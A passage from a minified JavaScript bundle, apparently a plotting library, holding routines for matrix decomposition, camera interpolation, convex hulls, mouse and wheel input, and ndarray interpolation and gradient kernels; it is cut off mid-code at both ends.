*/d.exports=function(r){return r!=null&&(g(r)||t(r)||!!r._isBuffer)};function g(r){return!!r.constructor&&typeof r.constructor.isBuffer=="function"&&r.constructor.isBuffer(r)}function t(r){return typeof r.readFloatLE=="function"&&typeof r.slice=="function"&&g(r.slice(0,0))}},3596:function(d){d.exports=function(g){for(var t=g.length,r,f=0;f<t;f++)if(r=g.charCodeAt(f),(r<9||r>13)&&r!==32&&r!==133&&r!==160&&r!==5760&&r!==6158&&(r<8192||r>8205)&&r!==8232&&r!==8233&&r!==8239&&r!==8287&&r!==8288&&r!==12288&&r!==65279)return!1;return!0}},3578:function(d){function g(t,r,f){return t*(1-f)+r*f}d.exports=g},7191:function(d,g,t){var r=t(4690),f=t(9823),a=t(7332),l=t(7787),u=t(7437),s=t(2142),y={length:t(4693),normalize:t(899),dot:t(9305),cross:t(903)},c=f(),b=f(),h=[0,0,0,0],i=[[0,0,0],[0,0,0],[0,0,0]],v=[0,0,0];d.exports=function(A,m,n,C,x,I){if(m||(m=[0,0,0]),n||(n=[0,0,0]),C||(C=[0,0,0]),x||(x=[0,0,0,1]),I||(I=[0,0,0,1]),!r(c,A)||(a(b,c),b[3]=0,b[7]=0,b[11]=0,b[15]=1,Math.abs(l(b)<1e-8)))return!1;var k=c[3],B=c[7],_=c[11],F=c[12],O=c[13],z=c[14],N=c[15];if(k!==0||B!==0||_!==0){h[0]=k,h[1]=B,h[2]=_,h[3]=N;var G=u(b,b);if(!G)return!1;s(b,b),T(x,h,b)}else x[0]=x[1]=x[2]=0,x[3]=1;if(m[0]=F,m[1]=O,m[2]=z,w(i,c),n[0]=y.length(i[0]),y.normalize(i[0],i[0]),C[0]=y.dot(i[0],i[1]),E(i[1],i[1],i[0],1,-C[0]),n[1]=y.length(i[1]),y.normalize(i[1],i[1]),C[0]/=n[1],C[1]=y.dot(i[0],i[2]),E(i[2],i[2],i[0],1,-C[1]),C[2]=y.dot(i[1],i[2]),E(i[2],i[2],i[1],1,-C[2]),n[2]=y.length(i[2]),y.normalize(i[2],i[2]),C[1]/=n[2],C[2]/=n[2],y.cross(v,i[1],i[2]),y.dot(i[0],v)<0)for(var J=0;J<3;J++)n[J]*=-1,i[J][0]*=-1,i[J][1]*=-1,i[J][2]*=-1;return I[0]=.5*Math.sqrt(Math.max(1+i[0][0]-i[1][1]-i[2][2],0)),I[1]=.5*Math.sqrt(Math.max(1-i[0][0]+i[1][1]-i[2][2],0)),I[2]=.5*Math.sqrt(Math.max(1-i[0][0]-i[1][1]+i[2][2],0)),I[3]=.5*Math.sqrt(Math.max(1+i[0][0]+i[1][1]+i[2][2],0)),i[2][1]>i[1][2]&&(I[0]=-I[0]),i[0][2]>i[2][0]&&(I[1]=-I[1]),i[1][0]>i[0][1]&&(I[2]=-I[2]),!0};function T(p,A,m){var n=A[0],C=A[1],x=A[2],I=A[3];return p[0]=m[0]*n+m[4]*C+m[8]*x+m[12]*I,p[1]=m[1]*n+m[5]*C+m[9]*x+m[13]*I,p[2]=m[2]*n+m[6]*C+m[10]*x+m[14]*I,p[3]=m[3]*n+m[7]*C+m[11]*x+m[15]*I,p}function w(p,A){p[0][0]=A[0],p[0][1]=A[1],p[0][2]=A[2],p[1][0]=A[4],p[1][1]=A[5],p[1][2]=A[6],p[2][0]=A[8],p[2][1]=A[9],p[2][2]=A[10]}function E(p,A,m,n,C){p[0]=A[0]*n+m[0]*C,p[1]=A[1]*n+m[1]*C,p[2]=A[2]*n+m[2]*C}},4690:function(d){d.exports=function(t,r){var f=r[15];if(f===0)return!1;for(var a=1/f,l=0;l<16;l++)t[l]=r[l]*a;return!0}},7649:function(d,g,t){var r=t(1868),f=t(1102),a=t(7191),l=t(7787),u=t(1116),s=h(),y=h(),c=h();d.exports=b;function b(T,w,E,p){if(l(w)===0||l(E)===0)return!1;var A=a(w,s.translate,s.scale,s.skew,s.perspective,s.quaternion),m=a(E,y.translate,y.scale,y.skew,y.perspective,y.quaternion);return!A||!m?!1:(r(c.translate,s.translate,y.translate,p),r(c.skew,s.skew,y.skew,p),r(c.scale,s.scale,y.scale,p),r(c.perspective,s.perspective,y.perspective,p),u(c.quaternion,s.quaternion,y.quaternion,p),f(T,c.translate,c.scale,c.skew,c.perspective,c.quaternion),!0)}function h(){return{translate:i(),scale:i(1),skew:i(),perspective:v(),quaternion:v()}}function i(T){return[T||0,T||0,T||0]}function v(){return[0,0,0,1]}},1102:function(d,g,t){var r={identity:t(9947),translate:t(998),multiply:t(104),create:t(9823),scale:t(3668),fromRotationTranslation:t(7280)};r.create();var f=r.create();d.exports=function(l,u,s,y,c,b){return r.identity(l),r.fromRotationTranslation(l,b,u),l[3]=c[0],l[7]=c[1],l[11]=c[2],l[15]=c[3],r.identity(f),y[2]!==0&&(f[9]=y[2],r.multiply(l,l,f)),y[1]!==0&&(f[9]=0,f[8]=y[1],r.multiply(l,l,f)),y[0]!==0&&(f[8]=0,f[4]=y[0],r.multiply(l,l,f)),r.scale(l,l,s),l}},9298:function(d,g,t){var r=t(5070),f=t(7649),a=t(7437),l=t(6109),u=t(7115),s=t(5240),y=t(3012),c=t(998);t(3668);var b=t(899),h=[0,0,0];d.exports=w;function i(E){this._components=E.slice(),this._time=[0],this.prevMatrix=E.slice(),this.nextMatrix=E.slice(),this.computedMatrix=E.slice(),this.computedInverse=E.slice(),this.computedEye=[0,0,0],this.computedUp=[0,0,0],this.computedCenter=[0,0,0],this.computedRadius=[0],this._limits=[-1/0,1/0]}var v=i.prototype;v.recalcMatrix=function(E){var p=this._time,A=r.le(p,E),m=this.computedMatrix;if(!(A<0)){var n=this._components;if(A===p.length-1)for(var C=16*A,x=0;x<16;++x)m[x]=n[C++];else{for(var I=p[A+1]-p[A],C=16*A,k=this.prevMatrix,B=!0,x=0;x<16;++x)k[x]=n[C++];for(var _=this.nextMatrix,x=0;x<16;++x)_[x]=n[C++],B=B&&k[x]===_[x];if(I<1e-6||B)for(var x=0;x<16;++x)m[x]=k[x];else f(m,k,_,(E-p[A])/I)}var F=this.computedUp;F[0]=m[1],F[1]=m[5],F[2]=m[9],b(F,F);var O=this.computedInverse;a(O,m);var z=this.computedEye,N=O[15];z[0]=O[12]/N,z[1]=O[13]/N,z[2]=O[14]/N;for(var G=this.computedCenter,J=Math.exp(this.computedRadius[0]),x=0;x<3;++x)G[x]=z[x]-m[2+4*x]*J}},v.idle=function(E){if(!(E<this.lastT())){for(var p=this._components,A=p.length-16,m=0;m<16;++m)p.push(p[A++]);this._time.push(E)}},v.flush=function(E){var p=r.gt(this._time,E)-2;p<0||(this._time.splice(0,p),this._components.splice(0,16*p))},v.lastT=function(){return this._time[this._time.length-1]},v.lookAt=function(E,p,A,m){this.recalcMatrix(E),p=p||this.computedEye,A=A||h,m=m||this.computedUp,this.setMatrix(E,y(this.computedMatrix,p,A,m));for(var n=0,C=0;C<3;++C)n+=Math.pow(A[C]-p[C],2);n=Math.log(Math.sqrt(n)),this.computedRadius[0]=n},v.rotate=function(E,p,A,m){this.recalcMatrix(E);var n=this.computedInverse;p&&u(n,n,p),A&&l(n,n,A),m&&s(n,n,m),this.setMatrix(E,a(this.computedMatrix,n))};var T=[0,0,0];v.pan=function(E,p,A,m){T[0]=-(p||0),T[1]=-(A||0),T[2]=-(m||0),this.recalcMatrix(E);var n=this.computedInverse;c(n,n,T),this.setMatrix(E,a(n,n))},v.translate=function(E,p,A,m){T[0]=p||0,T[1]=A||0,T[2]=m||0,this.recalcMatrix(E);var n=this.computedMatrix;c(n,n,T),this.setMatrix(E,n)},v.setMatrix=function(E,p){if(!(E<this.lastT())){this._time.push(E);for(var A=0;A<16;++A)this._components.push(p[A])}},v.setDistance=function(E,p){this.computedRadius[0]=p},v.setDistanceLimits=function(E,p){var A=this._limits;A[0]=E,A[1]=p},v.getDistanceLimits=function(E){var p=this._limits;return E?(E[0]=p[0],E[1]=p[1],E):p};function w(E){E=E||{};var p=E.matrix||[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];return new i(p)}},3266:function(d,g,t){d.exports=f;var r=t(417)[3];function f(a){var l=a.length;if(l<3){for(var v=new Array(l),u=0;u<l;++u)v[u]=u;return l===2&&a[0][0]===a[1][0]&&a[0][1]===a[1][1]?[0]:v}for(var s=new Array(l),u=0;u<l;++u)s[u]=u;s.sort(function(p,A){var m=a[p][0]-a[A][0];return m||a[p][1]-a[A][1]});for(var y=[s[0],s[1]],c=[s[0],s[1]],u=2;u<l;++u){for(var b=s[u],h=a[b],i=y.length;i>1&&r(a[y[i-2]],a[y[i-1]],h)<=0;)i-=1,y.pop();for(y.push(b),i=c.length;i>1&&r(a[c[i-2]],a[c[i-1]],h)>=0;)i-=1,c.pop();c.push(b)}for(var v=new Array(c.length+y.length-2),T=0,u=0,w=y.length;u<w;++u)v[T++]=y[u];for(var E=c.length-2;E>0;--E)v[T++]=c[E];return v}},6145:function(d,g,t){d.exports=f;var r=t(4110);function f(a,l){l||(l=a,a=window);var u=0,s=0,y=0,c={shift:!1,alt:!1,control:!1,meta:!1},b=!1;function h(x){var I=!1;return"altKey"in x&&(I=I||x.altKey!==c.alt,c.alt=!!x.altKey),"shiftKey"in x&&(I=I||x.shiftKey!==c.shift,c.shift=!!x.shiftKey),"ctrlKey"in x&&(I=I||x.ctrlKey!==c.control,c.control=!!x.ctrlKey),"metaKey"in x&&(I=I||x.metaKey!==c.meta,c.meta=!!x.metaKey),I}function i(x,I){var k=r.x(I),B=r.y(I);"buttons"in I&&(x=I.buttons|0),(x!==u||k!==s||B!==y||h(I))&&(u=x|0,s=k||0,y=B||0,l&&l(u,s,y,c))}function v(x){i(0,x)}function T(){(u||s||y||c.shift||c.alt||c.meta||c.control)&&(s=y=0,u=0,c.shift=c.alt=c.control=c.meta=!1,l&&l(0,0,0,c))}function w(x){h(x)&&l&&l(u,s,y,c)}function E(x){r.buttons(x)===0?i(0,x):i(u,x)}function p(x){i(u|r.buttons(x),x)}function A(x){i(u&~r.buttons(x),x)}function m(){b||(b=!0,a.addEventListener("mousemove",E),a.addEventListener("mousedown",p),a.addEventListener("mouseup",A),a.addEventListener("mouseleave",v),a.addEventListener("mouseenter",v),a.addEventListener("mouseout",v),a.addEventListener("mouseover",v),a.addEventListener("blur",T),a.addEventListener("keyup",w),a.addEventListener("keydown",w),a.addEventListener("keypress",w),a!==window&&(window.addEventListener("blur",T),window.addEventListener("keyup",w),window.addEventListener("keydown",w),window.addEventListener("keypress",w)))}function n(){b&&(b=!1,a.removeEventListener("mousemove",E),a.removeEventListener("mousedown",p),a.removeEventListener("mouseup",A),a.removeEventListener("mouseleave",v),a.removeEventListener("mouseenter",v),a.removeEventListener("mouseout",v),a.removeEventListener("mouseover",v),a.removeEventListener("blur",T),a.removeEventListener("keyup",w),a.removeEventListener("keydown",w),a.removeEventListener("keypress",w),a!==window&&(window.removeEventListener("blur",T),window.removeEventListener("keyup",w),window.removeEventListener("keydown",w),window.removeEventListener("keypress",w)))}m();var C={element:a};return Object.defineProperties(C,{enabled:{get:function(){return b},set:function(x){x?m():n()},enumerable:!0},buttons:{get:function(){return u},enumerable:!0},x:{get:function(){return s},enumerable:!0},y:{get:function(){return y},enumerable:!0},mods:{get:function(){return c},enumerable:!0}}),C}},2565:function(d){var g={left:0,top:0};d.exports=t;function t(f,a,l){a=a||f.currentTarget||f.srcElement,Array.isArray(l)||(l=[0,0]);var u=f.clientX||0,s=f.clientY||0,y=r(a);return l[0]=u-y.left,l[1]=s-y.top,l}function r(f){return f===window||f===document||f===document.body?g:f.getBoundingClientRect()}},4110:function(d,g){function t(l){if(typeof l=="object"){if("buttons"in l)return l.buttons;if("which"in l){var u=l.which;if(u===2)return 4;if(u===3)return 2;if(u>0)return 1<<u-1}else if("button"in l){var u=l.button;if(u===1)return 4;if(u===2)return 2;if(u>=0)return 1<<u}}return 0}g.buttons=t;function r(l){return l.target||l.srcElement||window}g.element=r;function f(l){if(typeof l=="object"){if("offsetX"in l)return l.offsetX;var u=r(l),s=u.getBoundingClientRect();return l.clientX-s.left}return 0}g.x=f;function a(l){if(typeof l=="object"){if("offsetY"in l)return l.offsetY;var u=r(l),s=u.getBoundingClientRect();return l.clientY-s.top}return 0}g.y=a},6475:function(d,g,t){var r=t(14);d.exports=f;function f(a,l,u){typeof a=="function"&&(u=!!l,l=a,a=window);var s=r("ex",a),y=function(c){u&&c.preventDefault();var b=c.deltaX||0,h=c.deltaY||0,i=c.deltaZ||0,v=c.deltaMode,T=1;switch(v){case 1:T=s;break;case 2:T=window.innerHeight;break}if(b*=T,h*=T,i*=T,b||h||i)return l(b,h,i,c)};return a.addEventListener("wheel",y),y}},9284:function(d,g,t){var r=t(5306);d.exports=l;var f={"false,0,1":function(s,y,c,b,h){return function(v,T,w,E){var p=v.shape[0]|0,A=v.shape[1]|0,m=v.data,n=v.offset|0,C=v.stride[0]|0,x=v.stride[1]|0,I=n,k,B=-C|0,_=0,F=-x|0,O=0,z=-C-x|0,N=0,G=C|0,J=x-C*p|0,q=0,ne=0,fe=0,X=2*p|0,W=b(X),V=b(X),Y=0,Q=0,ie=-1,j=-1,K=0,oe=-p|0,re=p|0,le=0,pe=-p-1|0,we=p-1|0,xe=0,ke=0,_e=0;for(q=0;q<p;++q)W[Y++]=c(m[I],T,w,E),I+=G;if(I+=J,A>0){if(ne=1,W[Y++]=c(m[I],T,w,E),I+=G,p>0)for(q=1,k=m[I],Q=W[Y]=c(k,T,w,E),K=W[Y+ie],le=W[Y+oe],xe=W[Y+pe],(Q!==K||Q!==le||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,K,le,xe,T,w,E),ke=V[Y]=fe++),Y+=1,I+=G,q=2;q<p;++q)k=m[I],Q=W[Y]=c(k,T,w,E),K=W[Y+ie],le=W[Y+oe],xe=W[Y+pe],(Q!==K||Q!==le||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,K,le,xe,T,w,E),ke=V[Y]=fe++,xe!==K&&y(V[Y+ie],ke,N,_,xe,K,T,w,E)),Y+=1,I+=G;for(I+=J,Y=0,_e=ie,ie=j,j=_e,_e=oe,oe=re,re=_e,_e=pe,pe=we,we=_e,ne=2;ne<A;++ne){if(W[Y++]=c(m[I],T,w,E),I+=G,p>0)for(q=1,k=m[I],Q=W[Y]=c(k,T,w,E),K=W[Y+ie],le=W[Y+oe],xe=W[Y+pe],(Q!==K||Q!==le||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,K,le,xe,T,w,E),ke=V[Y]=fe++,xe!==le&&y(V[Y+oe],ke,O,N,le,xe,T,w,E)),Y+=1,I+=G,q=2;q<p;++q)k=m[I],Q=W[Y]=c(k,T,w,E),K=W[Y+ie],le=W[Y+oe],xe=W[Y+pe],(Q!==K||Q!==le||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,K,le,xe,T,w,E),ke=V[Y]=fe++,xe!==le&&y(V[Y+oe],ke,O,N,le,xe,T,w,E),xe!==K&&y(V[Y+ie],ke,N,_,xe,K,T,w,E)),Y+=1,I+=G;ne&1&&(Y=0),_e=ie,ie=j,j=_e,_e=oe,oe=re,re=_e,_e=pe,pe=we,we=_e,I+=J}}h(V),h(W)}},"false,1,0":function(s,y,c,b,h){return function(v,T,w,E){var p=v.shape[0]|0,A=v.shape[1]|0,m=v.data,n=v.offset|0,C=v.stride[0]|0,x=v.stride[1]|0,I=n,k,B=-C|0,_=0,F=-x|0,O=0,z=-C-x|0,N=0,G=x|0,J=C-x*A|0,q=0,ne=0,fe=0,X=2*A|0,W=b(X),V=b(X),Y=0,Q=0,ie=-1,j=-1,K=0,oe=-A|0,re=A|0,le=0,pe=-A-1|0,we=A-1|0,xe=0,ke=0,_e=0;for(ne=0;ne<A;++ne)W[Y++]=c(m[I],T,w,E),I+=G;if(I+=J,p>0){if(q=1,W[Y++]=c(m[I],T,w,E),I+=G,A>0)for(ne=1,k=m[I],Q=W[Y]=c(k,T,w,E),le=W[Y+oe],K=W[Y+ie],xe=W[Y+pe],(Q!==le||Q!==K||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,le,K,xe,T,w,E),ke=V[Y]=fe++),Y+=1,I+=G,ne=2;ne<A;++ne)k=m[I],Q=W[Y]=c(k,T,w,E),le=W[Y+oe],K=W[Y+ie],xe=W[Y+pe],(Q!==le||Q!==K||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,le,K,xe,T,w,E),ke=V[Y]=fe++,xe!==K&&y(V[Y+ie],ke,O,N,K,xe,T,w,E)),Y+=1,I+=G;for(I+=J,Y=0,_e=oe,oe=re,re=_e,_e=ie,ie=j,j=_e,_e=pe,pe=we,we=_e,q=2;q<p;++q){if(W[Y++]=c(m[I],T,w,E),I+=G,A>0)for(ne=1,k=m[I],Q=W[Y]=c(k,T,w,E),le=W[Y+oe],K=W[Y+ie],xe=W[Y+pe],(Q!==le||Q!==K||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,le,K,xe,T,w,E),ke=V[Y]=fe++,xe!==le&&y(V[Y+oe],ke,N,_,xe,le,T,w,E)),Y+=1,I+=G,ne=2;ne<A;++ne)k=m[I],Q=W[Y]=c(k,T,w,E),le=W[Y+oe],K=W[Y+ie],xe=W[Y+pe],(Q!==le||Q!==K||Q!==xe)&&(_=m[I+B],O=m[I+F],N=m[I+z],s(q,ne,k,_,O,N,Q,le,K,xe,T,w,E),ke=V[Y]=fe++,xe!==K&&y(V[Y+ie],ke,O,N,K,xe,T,w,E),xe!==le&&y(V[Y+oe],ke,N,_,xe,le,T,w,E)),Y+=1,I+=G;q&1&&(Y=0),_e=oe,oe=re,re=_e,_e=ie,ie=j,j=_e,_e=pe,pe=we,we=_e,I+=J}}h(V),h(W)}}};function a(u,s,y,c,b,h){var i=[h,b].join(","),v=f[i];return v(u,s,y,r.mallocUint32,r.freeUint32)}function l(u){function s(T){throw new Error("ndarray-extract-contour: "+T)}typeof u!="object"&&s("Must specify arguments");var y=u.order;Array.isArray(y)||s("Must specify order");var c=u.arrayArguments||1;c<1&&s("Must have at least one array argument");var b=u.scalarArguments||0;b<0&&s("Scalar arg count must be > 0"),typeof u.vertex!="function"&&s("Must specify vertex creation function"),typeof u.cell!="function"&&s("Must specify cell creation function"),typeof u.phase!="function"&&s("Must specify phase function");for(var h=u.getters||[],i=new Array(c),v=0;v<c;++v)h.indexOf(v)>=0?i[v]=!0:i[v]=!1;return a(u.vertex,u.cell,u.phase,b,y,i)}},9144:function(d,g,t){var r=t(3094),f={zero:function(w,E,p,A){var m=w[0],n=p[0];A|=0;var C=0,x=n;for(C=0;C<m;++C)E[A]=0,A+=x},fdTemplate1:function(w,E,p,A,m,n,C){var x=w[0],I=p[0],k=n[0],B=-1*I,_=I;A|=0,C|=0;var F=0,O=I,z=k;for(F=0;F<x;++F)m[C]=.5*(E[A+B]-E[A+_]),A+=O,C+=z},fdTemplate2:function(w,E,p,A,m,n,C,x,I,k){var B=w[0],_=w[1],F=p[0],O=p[1],z=n[0],N=n[1],G=I[0],J=I[1],q=-1*F,ne=F,fe=-1*O,X=O;A|=0,C|=0,k|=0;var W=0,V=0,Y=O,Q=F-_*O,ie=N,j=z-_*N,K=J,oe=G-_*J;for(V=0;V<B;++V){for(W=0;W<_;++W)m[C]=.5*(E[A+q]-E[A+ne]),x[k]=.5*(E[A+fe]-E[A+X]),A+=Y,C+=ie,k+=K;A+=Q,C+=j,k+=oe}}},a={cdiff:function(w){var E={};return function(A,m,n){var C=A.dtype,x=A.order,I=m.dtype,k=m.order,B=n.dtype,_=n.order,F=[C,x.join(),I,k.join(),B,_.join()].join(),O=E[F];return O||(E[F]=O=w([C,x,I,k,B,_])),O(A.shape.slice(0),A.data,A.stride,A.offset|0,m.data,m.stride,m.offset|0,n.data,n.stride,n.offset|0)}},zero:function(w){var E={};return function(A){var m=A.dtype,n=A.order,C=[m,n.join()].join(),x=E[C];return x||(E[C]=x=w([m,n])),x(A.shape.slice(0),A.data,A.stride,A.offset|0)}},fdTemplate1:function(w){var E={};return function(A,m){var n=A.dtype,C=A.order,x=m.dtype,I=m.order,k=[n,C.join(),x,I.join()].join(),B=E[k];return B||(E[k]=B=w([n,C,x,I])),B(A.shape.slice(0),A.data,A.stride,A.offset|0,m.data,m.stride,m.offset|0)}},fdTemplate2:function(w){var E={};return function(A,m,n){var C=A.dtype,x=A.order,I=m.dtype,k=m.order,B=n.dtype,_=n.order,F=[C,x.join(),I,k.join(),B,_.join()].join(),O=E[F];return O||(E[F]=O=w([C,x,I,k,B,_])),O(A.shape.slice(0),A.data,A.stride,A.offset|0,m.data,m.stride,m.offset|0,n.data,n.stride,n.offset|0)}}};function l(w){var E=a[w.funcName];return E(u.bind(void 0,w))}function u(w){return f[w.funcName]}function s(w){return l({funcName:w.funcName})}var y={},c={},b=s({funcName:"cdiff"}),h=s({funcName:"zero"});function i(w){return w in y?y[w]:y[w]=s({funcName:"fdTemplate"+w})}function v(w,E,p,A){return function(m,n){var C=n.shape.slice();return C[0]>2&&C[1]>2&&A(n.pick(-1,-1).lo(1,1).hi(C[0]-2,C[1]-2),m.pick(-1,-1,0).lo(1,1).hi(C[0]-2,C[1]-2),m.pick(-1,-1,1).lo(1,1).hi(C[0]-2,C[1]-2)),C[1]>2&&(p(n.pick(0,-1).lo(1).hi(C[1]-2),m.pick(0,-1,1).lo(1).hi(C[1]-2)),E(m.pick(0,-1,0).lo(1).hi(C[1]-2))),C[1]>2&&(p(n.pick(C[0]-1,-1).lo(1).hi(C[1]-2),m.pick(C[0]-1,-1,1).lo(1).hi(C[1]-2)),E(m.pick(C[0]-1,-1,0).lo(1).hi(C[1]-2))),C[0]>2&&(p(n.pick(-1,0).lo(1).hi(C[0]-2),m.pick(-1,0,0).lo(1).hi(C[0]-2)),E(m.pick(-1,0,1).lo(1).hi(C[0]-2))),C[0]>2&&(p(n.pick(-1,C[1]-1).lo(1).hi(C[0]-2),m.pick(-1,C[1]-1,0).lo(1).hi(C[0]-2)),E(m.pick(-1,C[1]-1,1).lo(1).hi(C[0]-2))),m.set(0,0,0,0),m.set(0,0,1,0),m.set(C[0]-1,0,0,0),m.set(C[0]-1,0,1,0),m.set(0,C[1]-1,0,0),m.set(0,C[1]-1,1,0),m.set(C[0]-1,C[1]-1,0,0),m.set(C[0]-1,C[1]-1,1,0),m}}function T(w){var E=w.join(),C=c[E];if(C)return C;for(var p=w.length,A=[b,h],m=1;m<=p;++m)A.push(i(m));var n=v,C=n.apply(void 0,A);return c[E]=C,C}d.exports=function(E,p,A){if(Array.isArray(A)||(typeof A=="string"?A=r(p.dimension,A):A=r(p.dimension,"clamp")),p.size===0)return E;if(p.dimension===0)return E.set(0),E;var m=T(A);return m(E,p)}},3581:function(d){function g(l,u){var s=Math.floor(u),y=u-s,c=0<=s&&s<l.shape[0],b=0<=s+1&&s+1<l.shape[0],h=c?+l.get(s):0,i=b?+l.get(s+1):0;return(1-y)*h+y*i}function t(l,u,s){var y=Math.floor(u),c=u-y,b=0<=y&&y<l.shape[0],h=0<=y+1&&y+1<l.shape[0],i=Math.floor(s),v=s-i,T=0<=i&&i<l.shape[1],w=0<=i+1&&i+1<l.shape[1],E=b&&T?l.get(y,i):0,p=b&&w?l.get(y,i+1):0,A=h&&T?l.get(y+1,i):0,m=h&&w?l.get(y+1,i+1):0;return(1-v)*((1-c)*E+c*A)+v*((1-c)*p+c*m)}function r(l,u,s,y){var c=Math.floor(u),b=u-c,h=0<=c&&c<l.shape[0],i=0<=c+1&&c+1<l.shape[0],v=Math.floor(s),T=s-v,w=0<=v&&v<l.shape[1],E=0<=v+1&&v+1<l.shape[1],p=Math.floor(y),A=y-p,m=0<=p&&p<l.shape[2],n=0<=p+1&&p+1<l.shape[2],C=h&&w&&m?l.get(c,v,p):0,x=h&&E&&m?l.get(c,v+1,p):0,I=i&&w&&m?l.get(c+1,v,p):0,k=i&&E&&m?l.get(c+1,v+1,p):0,B=h&&w&&n?l.get(c,v,p+1):0,_=h&&E&&n?l.get(c,v+1,p+1):0,F=i&&w&&n?l.get(c+1,v,p+1):0,O=i&&E&&n?l.get(c+1,v+1,p+1):0;return(1-A)*((1-T)*((1-b)*C+b*I)+T*((1-b)*x+b*k))+A*((1-T)*((1-b)*B+b*F)+T*((1-b)*_+b*O))}function f(l){var u=l.shape.length|0,s=new Array(u),y=new Array(u),c=new Array(u),b=new Array(u),h,i;for(h=0;h<u;++h)i=+arguments[h+1],s[h]=Math.floor(i),y[h]=i-s[h],c[h]=0<=s[h]&&s[h]<l.shape[h],b[h]=0<=s[h]+1&&s[h]+1<l.shape[h];var v=0,T,w,E;e:for(h=0;h<1<<u;++h){for(w=1,E=l.offset,T=0;T<u;++T)if(h&1<<T){if(!b[T])continue e;w*=y[T],E+=l.stride[T]*(s[T]+1)}else{if(!c[T])continue e;w*=1-y[T],E+=l.stride[T]*s[T]}v+=w*l.data[E]}return v}function a(l,u,s,y){switch(l.shape.length){case 0:return 0;case 1:return g(l,u);case 2:return t(l,u,s);case 3:return r(l,u,s,y);default:return f.apply(void 0,arguments)}}d.exports=a,d.exports.d1=g,d.exports.d2=t,d.exports.d3=r},7498:function(d,g){var t={"float64,2,1,0":function(){return function(c,b,h,i,v){var T=c[0],w=c[1],E=c[2],p=h[0],A=h[1],m=h[2];i|=0;var n=0,C=0,x=0,I=m,k=A-E*m,B=p-w*A;for(x=0;x<T;++x){for(C=0;C<w;++C){for(n=0;n<E;++n)b[i]/=v,i+=I;i+=k}i+=B}}},"uint8,2,0,1,float64,2,1,0":function(){return function(c,b,h,i,v,T,w,E){var p=c[0],A=c[1],m=c[2],n=h[0],C=h[1],x=h[2],I=T[0],k=T[1],B=T[2];i|=0,w|=0;for(var _=i,F=w,O=c[0]|0;O>0;){O<64?(p=O,O=0):(p=64,O-=64);for(var z=c[1]|0;z>0;){z<64?(A=z,z=0):(A=64,z-=64),i=_+O*n+z*C,w=F+O*I+z*k;var N=0,G=0,J=0,q=x,ne=n-m*x,fe=C-p*n,X=B,W=I-m*B,V=k-p*I;for(J=0;J<A;++J){for(G=0;G<p;++G){for(N=0;N<m;++N)b[i]=v[w]*E,i+=q,w+=X;i+=ne,w+=W}i+=fe,w+=V}}}}},"float32,1,0,float32,1,0":function(){return function(c,b,h,i,v,T,w){var E=c[0],p=c[1],A=h[0],m=h[1],n=T[0],C=T[1];i|=0,w|=0;var x=0,I=0,k=m,B=A-p*m,_=C,F=n-p*C;for(I=0;I<E;++I){for(x=0;x<p;++x)b[i]=v[w],i+=k,w+=_;i+=B,w+=F}}},"float32,1,0,float32,0,1":function(){return function(c,b,h,i,v,T,w){var E=c[0],p=c[1],A=h[0],m=h[1],n=T[0],C=T[1];i|=0,w|=0;for(var x=i,I=w,k=c[1]|0;k>0;){k<64?(p=k,k=0):(p=64,k-=64);for(var B=c[0]|0;B>0;){B<64?(E=B,B=0):(E=64,B-=64),i=x+k*m+B*A,w=I+k*C+B*n;var _=0,F=0,O=m,z=A-p*m,N=C,G=n-p*C;for(F=0;F<E;++F){for(_=0;_<p;++_)b[i]=v[w],i+=O,w+=N;i+=z,w+=G}}}}},"uint8,2,0,1,uint8,1,2,0":function(){return function(c,b,h,i,v,T,w){var E=c[0],p=c[1],A=c[2],m=h[0],n=h[1],C=h[2],x=T[0],I=T[1],k=T[2];i|=0,w|=0;for(var B=i,_=w,F=c[2]|0;F>0;){F<64?(A=F,F=0):(A=64,F-=64);for(var O=c[0]|0;O>0;){O<64?(E=O,O=0):(E=64,O-=64);for(var z=c[1]|0;z>0;){z<64?(p=z,z=0):(p=64,z-=64),i=B+F*C+O*m+z*n,w=_+F*k+O*x+z*I;var N=0,G=0,J=0,q=C,ne=m-A*C,fe=n-E*m,X=k,W=x-A*k,V=I-E*x;for(J=0;J<p;++J){for(G=0;G<E;++G){for(N=0;N<A;++N)b[i]=v[w],i+=q,w+=X;i+=ne,w+=W}i+=fe,w+=V}}}}}},"uint8,2,0,1,array,2,0,1":function(){return function(c,b,h,i,v,T,w){var E=c[0],p=c[1],A=c[2],m=h[0],n=h[1],C=h[2],x=T[0],I=T[1],k=T[2];i|=0,w|=0;var B=0,_=0,F=0,O=C,z=m-A*C,N=n-E*m,G=k,J=x-A*k,q=I-E*x;for(F=0;F<p;++F){for(_=0;_<E;++_){for(B=0;B<A;++B)b[i]=v[w],i+=O,w+=G;i+=z,w+=J}i+=N,w+=q}}}};function r(y,c){var b=c.join(","),h=t[b];return h()}var f=r,a={mul:function(y){var c={};return function(h,i,v){var T=h.dtype,w=h.order,E=i.dtype,p=i.order,A=v.dtype,m=v.order,n=[T,w.join(),E,p.join(),A,m.join()].join(),C=c[n];return C||(c[n]=C=y([T,w,E,p,A,m])),C(h.shape.slice(0),h.data,h.stride,h.offset|0,i.data,i.stride,i.offset|0,v.data,v.stride,v.offset|0)}},muls:function(y){var c={};return function(h,i,v){var T=h.dtype,w=h.order,E=i.dtype,p=i.order,A=[T,w.join(),E,p.join()].join(),m=c[A];return m||(c[A]=m=y([T,w,E,p])),m(h.shape.slice(0),h.data,h.stride,h.offset|0,i.data,i.stride,i.offset|0,v)}},mulseq:function(y){var c={};return function(h,i){var v=h.dtype,T=h.order,w=[v,T.join()].join(),E=c[w];return E||(c[w]=E=y([v,T])),E(h.shape.slice(0),h.data,h.stride,h.offset|0,i)}},div:function(y){var c={};return function(h,i,v){var 